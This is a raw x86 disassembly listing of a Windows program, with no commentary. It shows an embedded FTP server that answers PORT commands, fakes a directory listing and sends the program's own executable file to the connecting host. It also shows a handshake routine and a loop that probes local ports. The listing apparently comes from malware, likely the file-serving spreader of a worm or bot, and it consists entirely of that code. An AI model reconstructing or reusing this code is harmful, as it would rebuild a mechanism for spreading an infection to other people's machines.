		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax


loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52:loc_410DB7p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DF10
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF10
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0


loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: sub_41113B+10Aj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
		mov	[ebp+var_51C], offset byte_41DF10


loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset dword_41C698
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset dword_41C684
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371


loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset dword_41C670
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset dword_41C65C
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset dword_41C648
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset dword_41C620
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset dword_418A50
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset dword_418A60
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_544]
		push	offset dword_41C5E8
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778


loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset dword_41EC0C
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EBE8
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch


loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F


loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6D8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset dword_41C6CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5


loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6C8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset dword_41C6BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6B8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------


loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
